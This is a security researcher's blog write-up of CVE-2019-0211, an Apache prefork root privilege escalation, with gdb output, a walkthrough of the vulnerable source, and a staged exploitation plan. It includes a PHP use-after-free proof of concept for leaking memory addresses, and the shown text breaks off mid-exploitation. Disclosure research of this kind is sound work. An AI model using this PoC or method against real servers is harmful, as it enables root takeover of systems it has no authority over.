carpe-diem-cve-2019-0211-apache-local-root.html

<!DOCTYPE html>
<html lang="en" prefix="og: http://ogp.me/ns#">
	<head>
		<link href="http://gmpg.org/xfn/11" rel="profile">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta http-equiv="content-type" content="text/html; charset=utf-8">

		<!-- Metadata -->
	<meta name="description" content="Hacker.<br/>
Maintainer of <a href="https://github.com/ambionics/phpggc">PHPGGC</a>, <a href="https://github.com/cfreal/ten">ten</a>...<br/>
Previous <a href="/pages/research.html">research</a>.
">
	<meta property="og:description" content="Hacker.<br/>
Maintainer of <a href="https://github.com/ambionics/phpggc">PHPGGC</a>, <a href="https://github.com/cfreal/ten">ten</a>...<br/>
Previous <a href="/pages/research.html">research</a>.
">
	<meta property="og:title" content="CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation" />
	<meta property="og:type" content="article" />
	<meta property="og:url" content="/carpe-diem-cve-2019-0211-apache-local-root.html" />
		<meta property="og:image" content="/images/profile.jpg" />

		<!-- Enable responsiveness on mobile devices-->
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">

		<title>cfreal's blog</title>

		<!-- CSS -->
		<link href="//fonts.googleapis.com/" rel="dns-prefetch">
		<link href="//fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic|Abril+Fatface|PT+Sans:400,400italic,700&amp;subset=latin,latin-ext" rel="stylesheet">


		<link rel="stylesheet" href="/theme/css/poole.css" />
		<link rel="stylesheet" href="/theme/css/hyde.css" />
		<link rel="stylesheet" href="/theme/css/syntax.css" />
		<link rel="stylesheet" href="/theme/css/style.css" />
			<link rel="stylesheet" href="https://use.fontawesome.com/releases/v6.7.1/css/all.css" crossorigin="anonymous">

		<!-- Feeds -->
<link href="/feeds/all.atom.xml" type="application/atom+xml" rel="alternate" title="cfreal's blog Full Atom Feed" />
<link href="/feeds/articles.atom.xml" type="application/atom+xml" rel="alternate" title="cfreal's blog Categories Atom Feed" />

		<!-- Analytics -->
	</head>

	<body class="theme-base-0d">
<div class="sidebar">
	<div class="container sidebar-sticky">
		<div class="sidebar-about">

			<h1>
				<a href="/">
					<img class="profile-picture" src="/images/profile.jpg">
					cfreal's blog
				</a>
			</h1>
			<p class="lead"></p>
			<p class="lead">Hacker.<br/>
Maintainer of <a href="https://github.com/ambionics/phpggc">PHPGGC</a>, <a href="https://github.com/cfreal/ten">ten</a>...<br/>
Previous <a href="/pages/research.html">research</a>.
</p>
			<p></p>
		</div>
		<nav class="sidebar-social">
					<a class="sidebar-social-item" href="https://twitter.com/cfreal_" target="_blank">
						<i class="fab fa-twitter"></i>
					</a>
					<a class="sidebar-social-item" href="https://bsky.app/profile/cfreal.bsky.social" target="_blank">
						<i class="fab fa-bluesky"></i>
					</a>
					<a class="sidebar-social-item" href="https://www.linkedin.com/in/charles-fol-85996b125" target="_blank">
						<i class="fab fa-linkedin"></i>
					</a>
					<a class="sidebar-social-item" href="https://github.com/cfreal" target="_blank">
						<i class="fab fa-github"></i>
					</a>
		</nav>
	</div>
</div>		<div class="content container">
<div class="post">
	<h1 class="post-title">CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation</h1>
	<span class="post-date">mer. 03 avril 2019</span>
	<h1>Introduction</h1>
<p>From version 2.4.17 (Oct 9, 2015) to version 2.4.38 (Apr 1, 2019), Apache HTTP suffers from a local root privilege escalation vulnerability due to an out-of-bounds array access leading to an arbitrary function call. The vulnerability is triggered when Apache gracefully restarts (<code>apache2ctl graceful</code>). In standard Linux configurations, the <code>logrotate</code> utility runs this command once a day, at 6:25AM, in order to reset log file handles.</p>
<p><em>The vulnerability affects <code>mod_prefork</code>, <code>mod_worker</code> and <code>mod_event</code>. The following bug description, code walkthrough and exploit target <code>mod_prefork</code>.</em></p>
<h1>Bug description</h1>
<p>In MPM prefork, the main server process, running as <code>root</code>, manages a pool of single-threaded, low-privilege (<code>www-data</code>) worker processes, meant to handle HTTP requests. In order to get feedback from its workers, Apache maintains a shared-memory area (SHM), <code>scoreboard</code>, which contains various informations such as the workers PIDs and the last request they handled. Each worker is meant to maintain a <code>process_score</code> structure associated with its PID, and has full read/write access to the SHM.</p>
<div class="highlight"><pre><span></span><code><span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">*</span><span class="n">ap_scoreboard_image</span><span class="w"> </span>
<span class="o">$</span><span class="m">3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="n">global</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x7f4a9323e008</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">parent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x7f4a9323e020</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">servers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x55835eddea78</span>
<span class="p">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">servers</span><span class="p">[</span><span class="m">0</span><span class="p">]</span>
<span class="o">$</span><span class="m">5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">worker_score</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="w"> </span><span class="mh">0x7f4a93240820</span>

_<span class="n">Example</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">shared</span><span class="w"> </span><span class="n">memory</span><span class="w"> </span><span class="n">associated</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">worker</span><span class="w"> </span><span class="n">PID</span><span class="w"> </span><span class="m">19447</span>_

<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="m">0</span><span class="p">]</span>
<span class="o">$</span><span class="m">6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">19447</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">generation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">quiescing</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="s">&#39;000&#39;</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">not_accepting</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="s">&#39;000&#39;</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">connections</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">write_completion</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">lingering_close</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">keep_alive</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">suspended</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">bucket</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="o">&lt;-</span><span class="w"> </span><span class="n">index</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">all_buckets</span>
<span class="p">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">ptype</span><span class="w"> </span><span class="o">*</span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span>
<span class="n">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">struct</span><span class="w"> </span><span class="n">process_score</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">pid_t</span><span class="w"> </span><span class="n">pid</span><span class="p">;</span>
<span class="w">    </span><span class="n">ap_generation_t</span><span class="w"> </span><span class="n">generation</span><span class="p">;</span>
<span class="w">    </span><span class="n">char</span><span class="w"> </span><span class="n">quiescing</span><span class="p">;</span>
<span class="w">    </span><span class="n">char</span><span class="w"> </span><span class="n">not_accepting</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_uint32_t</span><span class="w"> </span><span class="n">connections</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_uint32_t</span><span class="w"> </span><span class="n">write_completion</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_uint32_t</span><span class="w"> </span><span class="n">lingering_close</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_uint32_t</span><span class="w"> </span><span class="n">keep_alive</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_uint32_t</span><span class="w"> </span><span class="n">suspended</span><span class="p">;</span>
<span class="w">    </span><span class="n">int</span><span class="w"> </span><span class="n">bucket</span><span class="p">;</span><span class="w"> </span><span class="o">&lt;-</span><span class="w"> </span><span class="n">index</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">all_buckets</span>
<span class="p">}</span>
</code></pre></div>

<p><em>ap_scoreboard_image: pointers to the shared memory block</em></p>
<p>When Apache gracefully restarts, its main process kills old workers and replaces them by new ones. At this point, every old worker's <code>bucket</code> value will be used by the main process to access an array of his, <code>all_buckets</code>.</p>
<div class="highlight"><pre><span></span><code><span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">$</span><span class="n">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">bucket</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="n">all_buckets</span><span class="p">[</span><span class="o">$</span><span class="n">index</span><span class="p">]</span>
<span class="o">$</span><span class="mi">7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="n">pod</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x7f19db2c7408</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">listeners</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x7f19db35e9d0</span><span class="p">,</span><span class="w"> </span>
<span class="w">  </span><span class="n">mutex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x7f19db2c7550</span>
<span class="p">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">ptype</span><span class="w"> </span><span class="n">all_buckets</span><span class="p">[</span><span class="o">$</span><span class="n">index</span><span class="p">]</span>
<span class="n">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">struct</span><span class="w"> </span><span class="n">prefork_child_bucket</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">ap_pod_t</span><span class="w"> </span><span class="o">*</span><span class="n">pod</span><span class="p">;</span>
<span class="w">    </span><span class="n">ap_listen_rec</span><span class="w"> </span><span class="o">*</span><span class="n">listeners</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="n">mutex</span><span class="p">;</span><span class="w"> </span><span class="o">&lt;--</span>
<span class="p">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">ptype</span><span class="w"> </span><span class="n">apr_proc_mutex_t</span>
<span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">apr_pool_t</span><span class="w"> </span><span class="o">*</span><span class="n">pool</span><span class="p">;</span>
<span class="w">    </span><span class="k">const</span><span class="w"> </span><span class="n">apr_proc_mutex_unix_lock_methods_t</span><span class="w"> </span><span class="o">*</span><span class="n">meth</span><span class="p">;</span><span class="w"> </span><span class="o">&lt;--</span>
<span class="w">    </span><span class="nb nb-Type">int</span><span class="w"> </span><span class="n">curr_locked</span><span class="p">;</span>
<span class="w">    </span><span class="nb">char</span><span class="w"> </span><span class="o">*</span><span class="n">fname</span><span class="p">;</span>
<span class="w">    </span><span class="o">...</span>
<span class="p">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">ptype</span><span class="w"> </span><span class="n">apr_proc_mutex_unix_lock_methods_t</span>
<span class="n">apr_proc_mutex_unix_lock_methods_t</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="o">...</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">child_init</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">**</span><span class="p">,</span><span class="w"> </span><span class="n">apr_pool_t</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="nb">char</span><span class="w"> </span><span class="o">*</span><span class="p">);</span><span class="w"> </span><span class="o">&lt;--</span>
<span class="w">    </span><span class="o">...</span>
<span class="p">}</span>
</code></pre></div>

<p><em>The all_buckets structure</em></p>
<p>No bound checks happen. Therefore, a rogue worker can change its <code>bucket</code> index and make it point to the shared memory, in order to control the <code>prefork_child_bucket</code> structure upon restart. Eventually, and before privileges are dropped, <code>mutex-&gt;meth-&gt;child_init()</code> is called. This results in an <strong>arbitrary function call as root</strong>.</p>
<h1>Vulnerable code</h1>
<p>We'll go through <code>server/mpm/prefork/prefork.c</code> to find out where and how the bug happens.</p>
<ul>
<li>A rogue worker changes its <code>bucket</code> index in shared memory to make it point to a structure of his, also in SHM.</li>
<li>At 06:25AM the next day, <code>logrotate</code> requests a graceful restart from Apache.</li>
<li>Upon this, the main Apache process will first kill workers, and then spawn new ones.</li>
<li>The killing is done by sending <code>SIGUSR1</code> to workers. They are expected to exit ASAP.</li>
<li>Then, <code>prefork_run()</code> (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L853">L853</a>) is called to spawn new workers. Since <code>retained-&gt;mpm-&gt;was_graceful</code> is <code>true</code> (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L861">L861</a>), workers are not restarted straight away.</li>
<li>Instead, we enter the main loop (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L933">L933</a>) and monitor dead workers' PIDs. When an old worker dies, <code>ap_wait_or_timeout()</code> returns its PID (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L940">L940</a>).</li>
<li>The index of the <code>process_score</code> structure associated with this PID is stored in <code>child_slot</code> (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L948">L948</a>).</li>
<li>If the death of this worker was not fatal (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L969">L969</a>), <code>make_child()</code> is called with <code>ap_get_scoreboard_process(child_slot)-&gt;bucket</code> as a third argument (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L985">L985</a>). As previously said, <code>bucket</code>'s value has been changed by a rogue worker.</li>
<li><code>make_child()</code> creates a new child, <code>fork()</code>ing (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L671">L671</a>) the main process.</li>
<li>The OOB read happens (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691">L691</a>), and <code>my_bucket</code> is therefore under the control of an attacker.</li>
<li><code>child_main()</code> is called (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L722">L722</a>), and the function call happens a bit further (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433">L433</a>).</li>
<li><code>SAFE_ACCEPT(&lt;code&gt;)</code> will only execute <code>&lt;code&gt;</code> if Apache listens <em>on two ports or more</em>, which is often the case since a server listens over HTTP (80) and HTTPS (443).</li>
<li>Assuming <code>&lt;code&gt;</code> is executed, <code>apr_proc_mutex_child_init()</code> is called, which results in a call to <code>(*mutex)-&gt;meth-&gt;child_init(mutex, pool, fname)</code> with mutex under control.</li>
<li>Privileges are dropped a bit later in the execution (<a href="https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L446">L446</a>).</li>
</ul>
<h1>Exploitation</h1>
<p>The exploitation is a four step process:</p>
<ol>
<li>Obtain R/W access on a worker process</li>
<li>Write a fake <code>prefork_child_bucket</code> structure in the SHM</li>
<li>Make <code>all_buckets[bucket]</code> point to the structure</li>
<li>Await 6:25AM to get an arbitrary function call</li>
</ol>
<p>Advantages:</p>
<ul>
<li>The main process never exits, so we know where everything is mapped by reading <code>/proc/self/maps</code> (ASLR/PIE useless)</li>
<li>When a worker dies (or segfaults), it is automatically restarted by the main process, so there is no risk of DOSing Apache</li>
</ul>
<p>Problems:</p>
<ul>
<li>PHP does not allow to read/write <code>/proc/self/mem</code>, which blocks us from simply editing the SHM</li>
<li><code>all_buckets</code> is reallocated after a graceful restart (!)</li>
</ul>
<h2>1. Obtain R/W access on a worker process</h2>
<h3>PHP UAF 0-day</h3>
<p>Since <code>mod_prefork</code> is often used in combination with <code>mod_php</code>, it seems natural to exploit the vulnerability through PHP. <a href="https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch">CVE-2019-6977</a> would be a perfect candidate, but it was not out when I started writing the exploit. I went with a 0day UAF in PHP 7.x (which seems to work in PHP5.x as well):</p>
<div class="highlight"><pre><span></span><code><span class="cp">&lt;?php</span>

<span class="k">class</span> <span class="nc">X</span> <span class="k">extends</span> <span class="nx">DateInterval</span> <span class="k">implements</span> <span class="nx">JsonSerializable</span>
<span class="p">{</span>
  <span class="k">public</span> <span class="k">function</span> <span class="nf">jsonSerialize</span><span class="p">()</span>
  <span class="p">{</span>
    <span class="k">global</span> <span class="nv">$y</span><span class="p">,</span> <span class="nv">$p</span><span class="p">;</span>
    <span class="nb">unset</span><span class="p">(</span><span class="nv">$y</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="nv">$p</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">y</span><span class="p">;</span>
    <span class="k">return</span> <span class="nv">$this</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="k">function</span> <span class="nf">get_aslr</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">global</span> <span class="nv">$p</span><span class="p">,</span> <span class="nv">$y</span><span class="p">;</span>
  <span class="nv">$p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="nv">$y</span> <span class="o">=</span> <span class="p">[</span><span class="k">new</span> <span class="nx">X</span><span class="p">(</span><span class="s1">&#39;PT1S&#39;</span><span class="p">)];</span>
  <span class="nb">json_encode</span><span class="p">([</span><span class="mi">1234</span> <span class="o">=&gt;</span> <span class="o">&amp;</span><span class="nv">$y</span><span class="p">]);</span>
  <span class="k">print</span><span class="p">(</span><span class="s2">&quot;ADDRESS: 0x&quot;</span> <span class="o">.</span> <span class="nb">dechex</span><span class="p">(</span><span class="nv">$p</span><span class="p">)</span> <span class="o">.</span> <span class="s2">&quot;n&quot;</span><span class="p">);</span>

  <span class="k">return</span> <span class="nv">$p</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">get_aslr</span><span class="p">();</span>
</code></pre></div>

<p><em>A PHP UAF POC</em></p>
<p>This is an UAF on a PHP object: we unset <code>$y[0]</code> (an instance of <code>X</code>), but it is still usable using <code>$this</code>.</p>
<h3>UAF to Read/Write</h3>
<p>We want to achieve two things: - Read memory to find <code>all_buckets</code>' address - Edit the SHM to change <code>bucket</code> index and add our custom mutex structure</p>
<p>Luckily for us, PHP's heap is located before those two in memory.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@apaubuntu</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w">  </span><span class="n">cat</span><span class="w">  </span><span class="o">/</span><span class="k">proc</span><span class="o">/</span><span class="mi">6318</span><span class="o">/</span><span class="n">maps</span><span class="w">  </span><span class="o">|</span><span class="w">  </span><span class="n">grep</span><span class="w">  </span><span class="n">libphp</span><span class="w">  </span><span class="o">|</span><span class="w">  </span><span class="n">grep</span><span class="w">  </span><span class="n">rw</span><span class="o">-</span><span class="n">p</span>
<span class="mi">7</span><span class="n">f4a8f9f3000</span><span class="o">-</span><span class="mi">7</span><span class="n">f4a8fa0a000</span><span class="w">  </span><span class="n">rw</span><span class="o">-</span><span class="n">p</span><span class="w">  </span><span class="mi">00471000</span><span class="w">  </span><span class="mi">08</span><span class="err">:</span><span class="mi">02</span><span class="w">  </span><span class="mi">542265</span><span class="w">  </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">apache2</span><span class="o">/</span><span class="n">modules</span><span class="o">/</span><span class="n">libphp7</span><span class="mf">.2</span><span class="p">.</span><span class="n">so</span>

<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w">  </span><span class="n">p</span><span class="w">  </span><span class="o">*</span><span class="n">ap_scoreboard_image</span><span class="w">  </span>
<span class="err">$</span><span class="mi">14</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="err">{</span>
<span class="w">  </span><span class="k">global</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="mh">0x7f4a9323e008</span><span class="p">,</span><span class="w">  </span>
<span class="w">  </span><span class="n">parent</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="mh">0x7f4a9323e020</span><span class="p">,</span><span class="w">  </span>
<span class="w">  </span><span class="n">servers</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="mh">0x55835eddea78</span>
<span class="err">}</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w">  </span><span class="n">p</span><span class="w">  </span><span class="n">all_buckets</span><span class="w">  </span>
<span class="err">$</span><span class="mi">15</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="p">(</span><span class="n">prefork_child_bucket</span><span class="w">  </span><span class="o">*</span><span class="p">)</span><span class="w">  </span><span class="mh">0x7f4a9336b3f0</span>
</code></pre></div>

<p><em>Memory addresses of PHP's heap, <code>ap_scoreboard_image-&gt;*</code> and <code>all_buckets</code></em></p>
<p>Since we're triggering the UAF on a PHP object, any property of this object will be UAF'd too; we can convert this <code>zend_object</code> UAF into a <code>zend_string</code> one. This is useful because of <code>zend_string</code>'s structure:</p>
<div class="highlight"><pre><span></span><code>(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}
</code></pre></div>

<p>The <code>len</code> property contains the length of the string. By incrementing it, we can read and write further in memory, and therefore access the two memory regions we're interested in: the SHM and Apache's <code>all_buckets</code>.</p>
<h3>Locating <code>bucket</code> indexes and <code>all_buckets</code></h3>
<p>We want to change <code>ap_scoreboard_image-&gt;parent[worker_id]-&gt;bucket</code> for a certain <code>worker_id</code>. Luckily, the structure always starts at the beginning of the shared memory block, so it is easy to locate.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@apaubuntu</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w">  </span><span class="n">cat</span><span class="w">  </span><span class="o">/</span><span class="k">proc</span><span class="o">/</span><span class="mi">6318</span><span class="o">/</span><span class="n">maps</span><span class="w">  </span><span class="o">|</span><span class="w">  </span><span class="n">grep</span><span class="w">  </span><span class="n">rw</span><span class="o">-</span><span class="n">s</span>
<span class="mi">7</span><span class="n">f4a9323e000</span><span class="o">-</span><span class="mi">7</span><span class="n">f4a93252000</span><span class="w">  </span><span class="n">rw</span><span class="o">-</span><span class="n">s</span><span class="w">  </span><span class="mi">00000000</span><span class="w">  </span><span class="mi">00</span><span class="err">:</span><span class="mi">05</span><span class="w">  </span><span class="mi">57052</span><span class="w">  </span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">zero</span><span class="w">  </span><span class="p">(</span><span class="n">deleted</span><span class="p">)</span>

<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w">  </span><span class="n">p</span><span class="w">  </span><span class="o">&amp;</span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="o">[</span><span class="n">0</span><span class="o">]</span>
<span class="err">$</span><span class="mi">18</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="p">(</span><span class="n">process_score</span><span class="w">  </span><span class="o">*</span><span class="p">)</span><span class="w">  </span><span class="mh">0x7f4a9323e020</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w">  </span><span class="n">p</span><span class="w">  </span><span class="o">&amp;</span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="o">[</span><span class="n">1</span><span class="o">]</span>
<span class="err">$</span><span class="mi">19</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="p">(</span><span class="n">process_score</span><span class="w">  </span><span class="o">*</span><span class="p">)</span><span class="w">  </span><span class="mh">0x7f4a9323e044</span>
</code></pre></div>

<p><em>Shared memory location and targeted process_score structures</em></p>
<p>To locate <code>all_buckets</code>, we can make use of our knowledge of the <code>prefork_child_bucket</code> structure. We have:</p>
<div class="highlight"><pre><span></span><code><span class="n">prefork_child_bucket</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">ap_pod_t</span><span class="w"> </span><span class="o">*</span><span class="n">pod</span><span class="p">;</span>
<span class="w">    </span><span class="n">ap_listen_rec</span><span class="w"> </span><span class="o">*</span><span class="n">listeners</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="n">mutex</span><span class="p">;</span><span class="w"> </span><span class="o">&lt;--</span>
<span class="p">}</span>

<span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">apr_pool_t</span><span class="w"> </span><span class="o">*</span><span class="n">pool</span><span class="p">;</span>
<span class="w">    </span><span class="k">const</span><span class="w"> </span><span class="n">apr_proc_mutex_unix_lock_methods_t</span><span class="w"> </span><span class="o">*</span><span class="n">meth</span><span class="p">;</span><span class="w"> </span><span class="o">&lt;--</span>
<span class="w">    </span><span class="kt">int</span><span class="w"> </span><span class="n">curr_locked</span><span class="p">;</span>
<span class="w">    </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">fname</span><span class="p">;</span>

<span class="w">    </span><span class="p">...</span>
<span class="p">}</span>

<span class="n">apr_proc_mutex_unix_lock_methods_t</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">flags</span><span class="p">;</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">create</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">acquire</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">tryacquire</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">release</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">cleanup</span><span class="p">)(</span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">child_init</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">**</span><span class="p">,</span><span class="w"> </span><span class="n">apr_pool_t</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">);</span><span class="w"> </span><span class="o">&lt;--</span>
